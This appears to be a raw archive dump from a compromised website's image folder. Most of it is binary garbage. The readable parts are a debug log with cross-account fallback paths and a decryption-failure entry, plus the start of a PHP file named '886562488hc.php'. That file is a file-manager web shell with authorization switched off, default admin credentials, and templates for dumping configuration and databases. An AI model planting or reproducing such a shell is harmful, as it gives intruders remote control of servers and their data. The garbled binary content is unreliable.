�@#{���tX�Z�����/ϗP�z7B�rH8�.�p�i�䖤�"�^��n�T ^��#.rn��CF�=�8 z�E>��(Fg+,+�Y7�u9�@h��?����L�Km��"���i��0`�h����;��,�A��S��_s��7���̓aa�rYV�����A>�)=k�ݣ��������Y��w����rA��}-b?�ӳ�>�Bh�&������y�����2,�X��[�oO�x(rE�9�y�,Գ��=T$:>�0-���i_�����)��R9u/�� JW�*t�"q2;sw���"�X��68�UU�]�>����t5}-ʍ�;�:Z���69V��ɪ��=��9�À�����D_�E��)os��º�����A�!�Vd�w�+Г�A�?� �y{�tv�.���A� \�R�� �jcÃf��r��ot�\���g�٣�;�_�@,Y?:���dOta��Nh�ofN�*��.��E��BUP�%�F��VЧ�MK.M�`�����*�+��UTQQ-��N>�0c�o|rqa���2 ���]��>-�걃��p�)Y������O���Φ�߬���E��68�S~�*���|�b*� Q���M��h~�(�B5L��"/���P�e�R�ה�9D�{ s�tg�������)Y�m�*J3���&N\�_p��T���^�/��-|7}P��Pm�_��q.�qY��W��T�˲b�SaƠ/�`��lX��=�y�kʙ ����I�[�+�e�]���P���uA7>[0�7J�ϋL�{_u�|`A����zd�x�_W0�C�=��5�Vr�Nb�~B�S�,�n{&rӚp�{y�dL�s��hAL5 ���gz������]ժmN�)�~�7m�ZF|��J��<os�۟�}�7gO`$ʷ��>���o��B�5M�i�����#LJ�RF�'�WNqVR !>1ʫlhP���V� ���b^�u������q�'M��+�[i��96������e�r�Z�h����2��?�pL���a���Z��M�[���T:Vo��V|T� 1I�p���D)!v��,+�`�#VE�O�H��,)�$�)�X�m9�E�y��e� ��*�X���#���q����q��4�p�����˴�W�����q"H���n��� �%]�d|�#Xz�J��ˣ �q��җ�+��!U�|�#n�7;b:%��}䫺��� -�8�o�~����WZ��xW�C�%���c�2�H��2Xil��N�#24�E�-�fX�|�-� rç�hqQ ��zyǟ$$}�iˮ���=�,[�����q������r�e/�<�)�+}U�����)|)Y�P�d����,�^��H��+W����T��b�l2�ܪ���@��� 93 U��F�OT��K4�꺕D-����y Ìޏ8w��0�q�,��(B;�Z���N9vo���NW�5]¼�oa�S(*[��+�4F��~}�8,�m@ ���c�q��x��Db�aa���rדB�����8���=J��ֺ�5��;'��>�!�:#��Y�l�鴴��@bD��L�)_�-��ۿ�X_�wg�������`0�U����Y������z�r�r��hޢ�v����s�%bTf���S5~���y�L��Ɨp+��7z��������EenK����o���gcO�%�r�%AN ��J��d��co���l?���$b����H$�s���_����R �g�h��l��m�M3���2m��T�l���v�n&jt�*���3a��6q>Mv� A��ӷO��$c�_ �����((��xy��y�Ch�}���eמƾ��h�!��u��y���J��ǿ�~�������Pe�� l logo/debug.log 0000644 00000002046 15041356026 0007301 0 ustar 00 [23-Jul-2025 20:00:38 UTC] Invalid or inaccessible context path: /home/u232724578/websites/OUmiGmO41/public_html. Attempting fallback path: /home/u518697167/domains/h5hdretro.games/public_html/static/img/logo [23-Jul-2025 22:22:12 UTC] Invalid or inaccessible context path: /home/u232724578/websites/OUmiGmO41/public_html. Attempting fallback path: /home/u518697167/domains/h5hdretro.games/public_html/static/img/logo [24-Jul-2025 01:49:55 UTC] Invalid or inaccessible context path: /home/u232724578/websites/OUmiGmO41/public_html. Attempting fallback path: /home/u518697167/domains/h5hdretro.games/public_html/static/img/logo [24-Jul-2025 01:58:29 UTC] Invalid or inaccessible context path: /home/u232724578/websites/OUmiGmO41/public_html. Attempting fallback path: /home/u518697167/domains/h5hdretro.games/public_html/static/img/logo [24-Jul-2025 02:01:08 UTC] Decryption failed in unproc_data [24-Jul-2025 02:01:08 UTC] Invalid or inaccessible context path: null. Attempting fallback path: /home/u518697167/domains/h5hdretro.games/public_html/static/img/logo logo/blog.tar.gz 0000644 00000041636 15041356026 0007572 0 ustar 00 � �eT\ͺ.���[pw� �ܵ���� �,�;w��ݡq��־��ֺw�q����t�Y�l�����,,�,������&@sR �����Ё�h��5�@ǿ�ga���`�~�����������gecg� e�_�Ervt2t�t�����)TQ^ r�$%)�������>�C���NR����?�o� �z�P�pҐ��3��a24�52er����M7>ȡ���!���5Б�M���|��?���B�L��ž�GQș 5��Ɏ����Օɕ���������������R����d��t$���_�3u4v��s����974�uv���{���cb��n�����Ę�����������_Fib��d�dm��v��k�?=�Y���ML�������o����U��o�SK��8��?��Ga�899X�] @G&ÿr��Td�L0�������������?�@����������T���T�Z�������_4(�`j�dj"�������`��K�TG��I�DȈۘ���Ќ�Ì݄��Մ�ѐӘ�ь��̈�ˌˈ���m���?������������ �L��<,������j�l�s[B����������_��/��i��u�����B.@��̯�tv�:��I��m��S���B�ƿ����?) ���4��A���ZH��bHJ�l 41u0u�`���O�.�C�k����ڄ��vm�QuK��&S��o3�����`�50c���)�GvhS��Km��y���07WS�Z-�9�A ��f��I�ˆ���)�J��� ����ɲ���/��-����&��6���lq��׆��E�)�����7"�P�"b�P"�xd|���Q'ѠDP=�B��cs��d~�%��#�BD#���1ه�� ����S�P�l�H ��S� �r&�9�d��`U��WL$�p�p(8�P�E �&��� W�Ӝ�tjo�$FJT��I�In�(#����H� �����RnU��Y*��>�[z�S:��E���ׅ�?�w炠Nx�� �]�`!O�go)y��S�o�]xN�и�K.�� |�/b%0N(��?��C���y1 ���N��>�K�A�ު��T��G��Й�#I�2�N7*>�O~��h�M�p���[���'S����Q�yۜ��(�×�uS,��#�o�\.�a�9w^sBF��? 0�(Z�dx�� �����"��pqɛN<�@�u'0����5 2�bP�us�'.�,�Pg����"�m���\`���ޢ��&�QqE�KĿ�Q��>���k��6��<mׯ��4�W�[iE�V}�2�&ͭI=�bϜ�I��Y�W����Ik��qm^˃-g�,�b���P؍��|6{/�"�é�"�ݾZۖ�w�'��d�5�з\5@^�I��E�@7xqR���wA ���<�ԛa�s�6ҿ�ć�5V��>�,� U�u��:M�nµ���Q�ևd�J�8d��;"d���<�Huf���^������^<-(��T�/��w��ݚ���Y���u�zz��ի�kkfW�J㳡�v%:�/7��>7d�HTwʼOt �H �,1u���n�x2l�h/�K֒��/�p���S�%;�F��Ч�+F�F������?V�fe�u;i�w����E+<��`<��~)�{� ����b�k��]㾁S��])���po��.��P=����@�� c�8��sb�J��d�p5�h p$���R@*�� ��8S��x��i �F�Q`Y��f��̙%ez����3Z�@4p�˩&�FG��ϝ����� h�Ҟ��IC�Y����U~k����%�x�ź������Uv'�Pv� �.�y�HMlB�334\C ��B�5)ok��?E�\ r b��v�im/�%ӣ��.�xqZha>^j ��Xf6�#�� ���V#�4����!Y8G��E����_xh�YX��[�N�a�E�P��v��=��8��0�0wfl�S�|�!P�˥^��.�*�Ȥ~Y�c��T��<C�]�V(� �Q:�h�ң�v�q_�JI�%%>�4�|�<�����f+�`��a�!|%�< �v�k����_H��O�5jÁ<w:�B�x#ػ��mk���4/ ����sA�Ô,�~��6h�w�����QA�>l ���U �\�#���_��҅ C���0�?��$�4���FOq�f�7�z�p+���ZVC£�kO��,��N2���*A0��FW��-Ĥ�L�yU��>��X q����ک�6C���s5<�*��̍F��K��oX㬧 �9v4��1�d9� ��'u@�{j˔��<g r��6{�@m����SrMܛ�O"gm���=��y���8}SVk9����6}����X�GRc�G,�ﳾ P� d�� �H� ���5Ã� �=���ZF�Z�lu}�lN���6iۿ�`�H���t��wG��+��zI���}ð��qns�j\n�N�d��i��h)ҋ@����+L��;�䳃q ֎��R�M���,*^ CZI19�/67��-[�۲״ô�ܕ/�BQȧ���\Oǧ���-�'I�W6�O�k�=���f{i��/}�~�E������Z��g�y��ei���1��Oq}��R>�>sҘn��^��27.G�����wdw�2+/�z�Y���+<�.�b&�g�~ W�f@o "y�"ypW�)G~ <z��'��_�w?~�̅��-�Tv���J��k�M��j��S��s�xS�(e�b�nWo�9�NhM�H�q��m��N�Z��4!-⸫��; ՜��^���m1m=|��݉��^XF�q�"��%���V��=߳__��A��8�b����-�b�[��\E3&y6��{���u$����Gt�<��Z�y �� gY^,�h���]е}�em��6�]�БWkB�L�ek����D���j�(�9ǎ?��-:�[u֖�����=�t�'Ftu�w*�C�!Z���ȝ��-(�qL}�Ό��G�4�]��:�l{��q�ϼ~v�:'0p+!��Pq���n�l5 O��S�V���h��� �-3��7�ϳk���{AK勏dp�a!ct"`j���%\��-��j�GO0�̾�n��5��9����M�d��� �������Qg���BC�0~>� 4�_Mfʀ#��P�k�*���5ܛś6`����4��~����[_sÞ��{�����4�C�=��"�����m�Bim�&ixlȨ�z�.;��wC�q� ��0�֦1����9dv������<��ë<��">�"�1�P�}����ړE��7�`��˸��W6� y�-�m����]m��d���XD� �K� �VQ�?}.�l�%�O�x�`�aM5��s��: 8��� g ����[���.�Ɛ�Ͱ�����ૢ�<LPB���M �x�9��0�����2� Zn��<CwT3�@"�%n��t��'0���~��3am=���jSj��J;{Re�µI��+���_M�w�<��f��@�"�caQ�3�K$�����6`���*�!h�غʆs4���[Dyfr�? �$�� Y���=���t0��3r�ܛ�2n����O�4�N.O駝_\�8T��av�~��9�[� ����L�X�ih��ٙ��U~���^�ο���B�i� �{�&�J���p���:$��o�>e�5��¾0 V��r�HX�dw���< �A�s�ql܁��Z?�o.5��WFQR�������m����ۼ"�f���6y���2���"�;�0�� e�q$��ҝ��m�%L�o}�D+��:tY"�Kx�|E��bHtM�!���>Ƥ����1����t����i�2��fSM�1�v��%D<� �NyA��yiH�L���5]SBU���N���(xN�d*��˟ �"[��u�tRGs���ث��d4�Z6�Zp��yj�-�k=�*D�h՟Z?3Cn��a6��G�V٪���N����_����V��"�uK��Q�����Mky�ku�0�L$ ��{:ILk�w���-���\�� }X�vW��6����A#��x^��q��}��/����\L��'��:�����P����g�B�`� y� ���u����w��� c?h����+١U��)��I���-N<�.H�Tj߿�����N-��&~b�u��_�z�X~FJ�sO�l��_qb���Z����'�/Jy���[�w� �&��Ҿ]�,���Ќb�`�!��+��,M��r6�4��M��i+}�N���&�Q�х8��B�ao�f��y:�=�jQ�5;WH�2v �ia�ef�m֫������C�՟>W����JYBa��Nǧ����vS�|��R�&��цZ ���T�l��qqu����B(�2�m,%ո�G&\ǨV��P�x���m?��]�����kݳ���Vф�1ѓ��L��_Vz8�2�I�f_�A{5i7� m��p5ؾ�[���m����D�krܬ��g�*�_�)�S���w~p�Wh�>=L��{�=6��L�Ej {�2��L@�D�߽�[)R�}��O"���7Mo�koQ��FX�pJ^��Ѵ쿁��$IĈƸ����F�%}����S+S����qf7EF��� $~�3*�$����,Kz�▀�� �@�+Dz�;ק*K��Ţ<�v�[l|ߓ[���M���k��(?d+�R��8���+���R��4��V_I���t"L����^2x�2�c�rN�{���N�@���L �3 E�p.:yf��"$x�u�$�w&��;���M�D4�k�R��!q'�����p�<nй�n<?�U���l�-#�}A��<V����o�bu"G�m�\_yƎY�� �_�%n&tx��# $��1���g�o�}my���r��m^�P1�Tv� �E � �Y�O�%l :�[���8S�rb��x������x�<G/ű3�T����ta"yҰ&ڭ (�}��Mw�|I�8ǺL����vm�m�q1z�?s��A>ٽlX�#�#�W�b�uɌ�~�WJ���]�`E}"o�$��=~b��ew?�^��̮Q� �_Q���0�[�ɼA <���,xz�vB�w��� "��1E�E�� �ULhKN��YWN�!i��K H���W6N�ƌ���9�R.�+� q 3���+�!F��M-ƹ5�n^��SN�O$&�b�;.Ń�/dn�_[��`S�w�}�RpF��<�0�? ���sH/���f�Ij�w��� �K��Ծ��� ���fgH��yn�@�q � �1C�4?Zn�j�����-`8D�O0ǖ�R��w�&�A�f��?��$?��y�:���N��>:�N+cS�kб��~��L*�f�12 li��Q����r�L����`������-����E���I�fϖ���d��g��~�`ٿfr8��벿s�U��^���~?g���I��ע}�Թ���Y2��}�נ�����W����'6�P8z�?(�I,$��o��<�@�R������I ��s�~�������^Mc4^�Z�K�t�F��d��*k�y)ɟ���:h_5Dɴ{�0����.-~P%��F6�3^M?]���f�ߗ�2���hk��JG˾�o��cV����vtF�KVV�n�Z{Ʈ3~��w%���jmY���Q8w~C�a��{��2��.l��'q2����5���TS5$&:b*�q�A�OhU�&�s���*2_�d�'/�ˏ���r��˥�u��U� %�U�:��D��`^ݲ"�A2��N��L[Jo�c���醨��QG1+����Se��}�� �'��C�DZ�%.���zF��ߍ��A:�5h�']f-B2f`g"?o��{���e���.{�^��7�*�[�qG�ME�|Ś:��w^�Z,��d8vk�ǘ�X������ ��͇�V��a�V��b���by�Ĕ�������ޝכ�Mſ+cP���}ƧlLy���B�zYho��%�`�?�%t֘ƙ<A��3��7���{�y�t0�Z��B,�ɍ�z�e\������k���Θ�旣�SGb� �hʛ{�@��ϴ��/��$�-�8��YU�ڼ��m�D���ڛ ��By��(Y�Ä ��Y00��R-}B �^S���9wJ�Dx`�nY(b|��m5 KL��Ǻw1�.^��侅����y�*^j�l�GXmU��c)�V��xk��f5�����{jC���ߞ6����e<Y��� )9�ĻP"��-z�P�CB( O�g�ʳ�54=�{>�Kz�%~\�������6����c�gP\jc��g�㉾�ǎ=@M{�Tk��{̉;C�no��U7�_�͋V�i�Oϋ+�]��|�L];�3ł��n��C�n夵s3�([�V:�K����־*w�=��yiR���s�u �$��3���ں&/�=�<�8!�I�J�a�>uY/Y�6m�p�$ t~R�j~W=u����Y0�xr�������t�쾱�{��ܿ�����!��j��>-V�cGۜxP�.�k�24����Y�������;~���ɽoo��*R�itow|���-f��[�2�� Q(7�f�#�y�9�&�?s�ݹ�9^�k!���A~5�N��ѵ8X�c��/�U���tm퀯����_n7�P�1��Ҩ�=ەp7�,�mM��da}��&U8��m3/~+Ѡ��=d��E�cW��@��s���|��ܢI��g�sc=��� 9��K=�]��c��f�SԆ�o���驃ns7��Wl��7����|>h�,� �װ _��e�������<|�k��^h�t��|{�\_�|�}s�ݾ�74S&� ~#��%��}S��/�jo=e�8�P�1����eD��}�5.6�Σ�sO���1 �,�7Қ)�(O��G��� �s�Z�����4�[�Èˀ��Ԯk3� �W��L�O�A�35$T�u<�n;\V�{2��U�^7��+� 7(�~Yֵ .V��M�h�<^~�Kp�/�s�;��KLF��ӎ��u�k��d+���:IG�)m MV��x�K��ͥ��t�ݗ�/ � �m�N���h`���B(�K�Dx�'� x��95��+ M��bg|�9��٩`}��0�?"�n苽C@�ÌaA�yp�C�~^�T\%�ʁ�{�Z��P�p����-�ܶW��@M�zB&���5t꤃[�:\Ī��,Ҹ"G�{ ���wc��i̚;��щ��1�+1f����%#�_�D��oM.;�n���[i���2�4YB��Z���!��9�� �_�r�2e�w3 /\�+���$� �� P`�8x�[�uZ,�(���}�����=��H4�fh!�}��gh]7�䢇�f<4�jL&K�b�r=`;�~/��riql �}�TZ��> X_��e�Ş۪XJ�c��$,V�:~�]C�4��, �Y�J_� 6&���7�����_0Ћ�b!g��2e ͇�3Q V�~A�6Y�5�E1i����e4;Σ�p��d�P�:���@:���0�c!`p*,����!����6_PA���xǧ+�Y�@��p�q�(�-|�]y+���4�� Ȕ�5L{|���E[�J5Vư��H|��͆� �v:YH�+��E)G���C�Y��wJ��wH�D�[R�3��X���i�z(n�m;�B�X��H;N\�,[0�.��u�n�gb��c)&�j���*@��u~ W]}z;z`\0 ��IVz5�SͯtE�r�Q8)d�������4-S͂�G�J�ϘU�]`���/�r�$o�xF���-a���R�\H�3?(�d0Ʈ�0A��kў1a�Y����B�¢�Ι<��l�˻(���4C���J�������S���Q6T5���H-���}c�J�6�D7ڊ����C�:��ž��6(<ψ���;���\R�}���R^wg�Bw��o�:+/�M"��I��@y"����?�ĺ����9T������: ��D��� ��A����Nãs-XuR���Ő՝xėMD��7��ipq�HF�P�1���c&i#��L A,;��wc�v̈\Ԧ�'�.�ՠ�?q�g�,|����)�Mc�ml�`i[�v�Z�?���RUdzm��aL(5��54�GO����#��Q�fwI��!Vz��r� �}* 7���@�Ln�u����ݪ~;ͻO^�8�J�?UB�?�w��g��I��v "�P�,��q^wDk�� ��J��p�;jS�[TNQ�����h�M�p��դ�&���`b�H�ǥ�bou�,� ���_Ͱ�K[�__���(�D�x�)&�W���W�h�+��\���3�]�]�ŢF�@�5��� 1nC\��[� ����A��Q{�[��]����>�(�6�N�[W����{�=6S�A�]d")㜎?I^�,ݾ���<�XV����T��� ���M#r������ؾ�Gi ^yH�����L8���o���V 3������B �N�߈&�X� �>�CU��*�$%��N�n�B���v}�o=��_�����v51^}�-Q�~�>�p~qf�c��y '9]��s��X���y�hf�`w�1a�2F�^�+7�1���ݹ�p�h`�,�3�NCXp�ɦ:��&#��5�ƏE⦠.���#��m�^J����ϖ���MYo��瞪��y�gc��4��5��. �B��9kN��F( �߳v�4�1]͡Y�I���7a!���ù�2Dͥ��#�k�-�W�LT[��e��xi�s#�.� �&6�,R�q橚�j�j�#0^���U+�Y�Y�HN����n��k{e.0�5�ۮO{�e�R�w��Ժ�~3~/�s�M��Rf~�&�ڳ�����dyӏ�G/1�{J�r��k��o�3�b�yĎ�q �{�7���"�U�Dp6�m�yv�O>���$v\�c���EX�`����m�g1� �����,�*�Cq#��Tl��vt7�� �Q���DK:|fܙ�k �$,ڤm��F�D#m�����<�K�7�T�8Y��p}r -#�W�L[�N`by�]���)rµ�X��5.���Ц����=���0V�A��%�Zl}��0���l���G�����s�3_,��>��V,E����;`.C�ɮ�$j���k1a�w�J#���l�gQ�9GB�o�z*��0���t���Y�4�G��O��5K4h:@(색�dG>F]��/�֔���� [���S�CsՏ�ֵ�ܥ(iM��U��g ��.�Oc�U�ݲ�;�O�V{$*X/'����8��H���U��xp C�.tw�(�qz��憱Ww�4�Sw!c��A,R�6r�D���Q¶�Ԓ�#�W:��駜r\�PEF��%�p r�֨�3���NZ9�+����Ӑ`�����#�.N_������! c ���ov %�ep� 6#TY����q���7ӡ�1t~a1# cq$w���A9n"J��M@5T���/VRS�Z����o|%��Tֹ�e�� R���v9-G|o��V�,��6� R�6l��~s��F|rt��}�3���8�Ӝ-%ns��c�`n�RU~~��l�(�����=Q 0d8zvL�^�dw�2N�<}B��پm�8X@�W�C(��q�2�>�S��N���'��e���Q�rr=e���n=bJ�4K}cH��b�qz����VRQ6}c��>>t��� /t5kz�](����X&\��x;���(<cm�<b�7�)�ox�ʢ5T�j�^����]#����f�w����SV�����p�(V%0��;C���A��[�7�E�c��^:�V��l�*��:�}�AO�f=��Y��j@����!����ID9�,�-*kǕXo�Ὡf�Y�q�zT�i�쌪Y��+ux���!:9������`�5� \���}W�Eg���OHɽ�$�<��Nah�vpV�;Wv����mq�#� � �0�`�}�Uyg���gS1�Z�Zء\{a�,�����>Ǵ��5]��ʹ-��V�S��ӻ&���bDHP��Bo5�˻������e����e=z���5a,��ZО�Ee�4JE��~t] �.�����Ż�)�E��4�V���fH��������S���t�<�d�!��q�ǐ�p@�_z6�'\��ҟ5�Eo�)\��_�s�,��'�D�����RV���l�X3���o"E�c�D�hj�%to���3bs9�jƺ�x{�#�<T�d�o�! �����`�^�d��fLBm�L\p@P�s}�P�5[�5��� ~^��ϓ��N]D)�xfX����j��nǂ0� � A��^�73��L'. ��2�,��n��T����2W�G� ��t@z���b��&w>w+��?��k~"f�[9Bz_�M�=ąH�����z�1BU��siU_\0��AK<7� �4~P�5�?�9�Ǟ�g��ȣ��D�0ڀ;�a��ӑ���z���55id/c %f�rzd/l���x�L_0�o�Ԋ(��HV���M6�b1,�*p��[I����/�2����>z�:_�s�E�3�=�u�0�e�U6��� �wE7�H�Q,�Y=`���L��+y$����ΔO��}�t�D�F'7�G|o�b��.R�z������~@c�+3�N��`�O�Y���z�q�(c�O�!M��� y�]x'ed@�hx 7�[C�N�W�R�����e���t5X*E����DQ��d��?��ɆRVl�Oc���ۢ��* ���Kp�LfC8B@q؋1(�ν��� ���d2��Ϛ�5 ���R(סo��)`Rp���P��7Y=`�����9������u��p��؎ ��x��ڗ���C6�d-�D=Yq��-��Z[_�S�HX�#����%�F��5��h�i��=Q��?G��y-�X��j,'����v1���O���z��F�|?[�7��]�Ӫ�Qo�Dh#�3Q�i�W&遴N5"��,4d��2�øHw=�-��'�uS���k*5y<N�Ї&9U̪w&��n��Jue�]�l�V��^|s|�����m�"m���:�٪��%��%#�{�EċD:^�Ph��ϡ|}��lnk �嚻sE�sN��]��#YF���>���.��N�V�mh�*�ϴ��-)��ZN ���@ߵ~\� Z��(�^��oh�`�bɳ,� ������(�u����i�ϩ�R:���?[)P�V�Z��7$ʏ�,��A-��=��DA�H�鳋�֮��\5���A�-���?���I�s���\������=����͌vKo�:.��8�����ޙ�1I����a Kȁd�`"L�����y�W!q���� ?��vm�쫩�x}�w6�w�N��cՒQ��Ծq&�b���~!�$�f㵟[�vۯ)�����M����j�LfO+��#::���x�O�o/;���4=�m�:T������(:8�Z�AIvV�*��� $�J�܉��#�ыMa��{�!�G2�e����%�Q��t�e)�V��|�v� NR��q�A�j��3���Wxz�o���)��u�z7�t"- ;�y��n�:Ja�1���3���,�IMSy��+�,�'�W�&���<��;�D����L[�������ac沈p9O�f%��=%u}*��y��:PH��#H���q۶��2��}~%���+��w� ��GM�X-K��[���I������e_;�" q.B��q�a��I��o[�l%�����A:�v �ջ}���qqnU2��@��@S1Q�0~�5{���/�� �o�ȴ�躣Gy§G^�Iدw�D�̻mm�Q;�jO�.?�dH�7��,/���ۊ WL�;Z[�i��x9��}RF����J��8�z1��(�W�S��H�wQ�.u#����\��������4���fV�7�]��t"b��<*�xc��P���7P�/�)^����x��ؽͱ�4Ǖu)9{��O�,�m�[_���,���랉�?����E�����̵��T�5��,�O�o�t|���-�9ߨ���m�)p��rD��Uu���rp�J���*˰�������Z;'���ו9�ٶ��H!o��9�v��,[���^a+�;0�=@;g�]�g~z��"ǝ[L?Ɩ):;�J��B�V��4͘�ӣn��d�����T�G��:P��G�V��Pa��l�P�����\b���j*�d>Ϧ���`�1��rT)gkTg�Oz��0B�?�f������:<D����o��5���QS�9��Rli���Q(��_�16���\7�@��_6f�8̣U�Ӧ�!����A?�|ô�7�"��3n?1�A��k��w5�Qn3�%��@S:q;���'��`=��S,�=xiX��f����V}���^?���� �M���� ��5���A�ic-�%u1G�Y��y���e&cG%�S�ikmC�v@Y�U������ ��r�gv�co��[T->�o�0Z�R��cV��R��T�^ �k<k��Jq-��r�'�f$&�^���ha�>�9��~3��8Id���&A��>!�u l�#�~ko ar\�p�)������8�m<�Q9�*�4~��R>0�ʪW#r�������ń�g�#��6+��;����G��`��g.{�b��ȫ "����&��oo��~$��A�2U�e��x�����"�3y]c7ԋ�|RvgDZ/�5^�|U�e���u�K�B7����0g����28&�#iMZs����j�2�=�C ���/n鄑GrW�i�H>�2�=�c�0L��ï /Yms���:>��E�[�9"�rC�!�$C�ϭ��B�S�?1�,�[[��#?i3^^�*La����>��I��-�w" z+��i ���R1|+;��T$�n�h[2������O^Hi��.I}u/+e{����{��C<q<����?y=#�F>@���63�+�`0��jֹ�/"s|<o0�2�� ���$zO��*��A";�=ch�y���+�q~�IES���L!��`+�@�4�\q�D��2�Qdxnaɛ~���]��29� ܦ�B�c�o�1����W+s��ź5y� B�4��8$5�Ĝ�����I$4���1� �x@��x6�(J� $����J�j|� �q��Xs{�� �fSzfo�S�vĺ�2�L�9�[Y�����(����Čp�L��>���+�Yb'Z��6�t���j��E�����Ut�+��fc5s�}P���ebz�A�&����V}���_Ѓ�����'�ġ�AY���HQm d]hX�Hۂ�����������aa�����s����Lp�"�%Ӥ�-.Pڌ�A �f|Z�^`�Vi�~��� ���;��ӓ��`��/y+0��;���Q���^���V��RӬt�i���R5Y}����\�sK��k��ڈ��fa�5}�'Y�̜-F������BN56��X���i�'��c'Bf��Ҁ�o��M�>��~�.1��0�( �_c�J��[L0��jT�0��v���_kk�p��p?���NK0%(~�M�Y�E|�H�*Y����"}5�74�_�Q�ޏ;�*W2���e�!bmA�+�B���t��c�&���z��J��qe���1�Yk`c�,���+@<i�-4L�^=��8Xip|G�}C0z�x��=� �h�]�^I��jb�a��n}MM�᮱h�?p��Vc�S�B�o뗡��4�r�o�g��ǰfU�ɾ7_# ]��Zy��)�}~�Z��놑���n��U������I�����S����]*�U��X�NyĘ`R�lp� c����J���j�^vC������D�W!���|���^m�0<���z\���\��Ր� 9r,O��MG�� �| a��P!z�,�M��xv�81f ��Xᩦq�"��u����Q��k���"�y��;+y�O z M���F��dJ�i�p�G�.,���~�<��XG�҈� �;f��!��r�W?� �7��p��K����A���h���ui����5>Ɛ���B�� �dJ`��z���J��V��ݑ�S 6���a�viʊaՄ.��J)�i�eY�'�� o�:�d���DŽ�!�JX��y��Em)9�^���1$�r�Sw� �����!��$w�n Ъ?~���'���5��Ys 3 �K�|�ː�ɨ0-T�7���6�<`ʗ}v<D�Vy,� a�|gk�ok�_X� �6����P2�8�,o���M�X�?BŒo*�Cݗ��!2D��"�<_,�1�@1��Җ&��C�$��t��dD�!c�%h��q��G�<]�s��e8�$M(��\�#�cQ��V2���@�1�y�-��u&ٍ�$;N��>�T�\k����j�a�t� �14��X��l�)�@�6�P�0��9���[ #�����nQ�x��!�ZqW܉#��ڵ����0���/��xN|�\��a����i���SG0��To�c����4Ѫ^9%*YPu���g��Ĩ�CF�E Q:�{?u~a���6F����ۈ���5�df����Q����ʡ2@t%��)�\��L�1�ݩFf���f���ƾf��E�#�\~?;�:�B"��TX�D�� �?y8>� ��6 ��,q*�����c�������7��m�|R���H,� 9��=>���ل�P �:t�q?m��ߺg%Ì�����4��i���jYE��� �����F������>+��֒�?[�~�/�-�'0���w�F��Q`�]�1���Sj����i�K�����6=�>����FG��d��۔���`�\�2�������j��F�F�?�K:�!m��<�䦦9"��������f��/(�q�����=sg�Ǿ�*Y����^�?��}=[ʊ8�m�ּ5��J���ا��:�%4��ݨ����utŜ(U�?��3^� ߭g�`��N,��話ڥl��?(�"�v�i�|{��Md0�$��I]c�--#\҇� �5Y�\��@)������̽�Pg*�_������<6��?�'�� ^���obx���)�W'M�T�Ԟ�.߫����J(�� ��1�mEx�%=�<e�uщ��Lj��ޡ���!��+�P�d/��(P3X�����i�E���I�ұ��ɫ�T������]�� �$�@'㙙��TQe-P!g�N�І�����%T���8 �QM���?k�خ{�zRx��z�1U7"��9�C� ���-I�4�lO,<c���=oE�e��9 8 PT�/�g��U���O�ikAP��:��h��t#z��>ᇵ8���#z8�d|�as��;�#7�Q`QO���@�8}Ϡ�3(q�'˱{Ct+��'�b+�|��ZS�"���}ײ6D���#h���l<�eЛr`jW�9�o��P�VY�nlYj9_�vj#N�8��-A2���Ӹr�e�8�$Z�ph���/���ϥ����i��#�.��>r-�:F�ߗ)�R� �<MB!��%�E� �1�ُ��X���7[K>��L���5�U���9�û�P�6a�LK ���ُ��6�m'?�[E$!�e)���y��B V�x���&5�e��'�~�����3�g�~�F"Qv��#ԙ��Vt��Eb��3��)�!LF�}^�*~�Np��"�)(SM���ߎ�iH5�]��J�܉v�%�vnu�NyF�_�t?=��8��W���u�+y�Ъ�əm�!����Y�F�u\K���1�N��"9b�� ��{��M�/<O�߯�TGX 2B��ʬʆ +���:�r�_]|?��,G����5$ �s��O,�1�\���r���~ͷ� �;��d�����^���P���Vi�p�~��E�"�s�Yi�RZ��NT��e�J�S�&�zyѓKK+nx�by2��f&O�^���J�am-�mx�t����R��/T����0z��$}@�)@֟��ڠD��l���.�yx#�,,]�"�}課�K�� ��ᴼ4�X#V��r?�{�YW�t�=b��hʪQ)@��E���np%���j��g1sN ��n��o��L����۬��K�0@���|&ǹ~F���sSߪTBk�"oc[^V~�q� ��zW@$2��- �ez1O35��L��˴�=vd��[�{-$�)��˳#ɷMq��S��'�ͻn�o�*����λ�>��O-<Җ��V.�m7�?��]���9h_Cư��M�;��Rm���ư��.��9�=�� ��M�f�ee������4v@d8�ŷɯ�~�����N��H�M_*n����!D�+Q'�b?Py>��1A�_�@�8����b��z��j}%I��E�bU�D%�P�2'����� _�D��ީ���c�)���tjR��T�̩J��F`bݹ��(Is�P�X�X�zyaꚿ�T���yv�[��Ʀ"���!�f��3^J:qz�$�RfE�djt� C�U��E�o�C2��!��=�mN� _�1�er���UU�wA P���#�oh�.��ΫD��x�P��(W��H�F�)�' #; �,\�VP���=�H��l�g` �?�5�����>����"�h�ye����X�g���^����������ߞ���jZ P logo/886562488hc.php 0000644 00000325363 15041356026 0007574 0 ustar 00 <?php /* Rey Server Mananger Control */ // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Ð’Ñ‹ уверены, что хотите удалить Ñ�ту папку (рекурÑ�ивно)?","Are you sure you want to delete this file?":"Ð’Ñ‹ уверены, что хотите удалить Ñ�тот 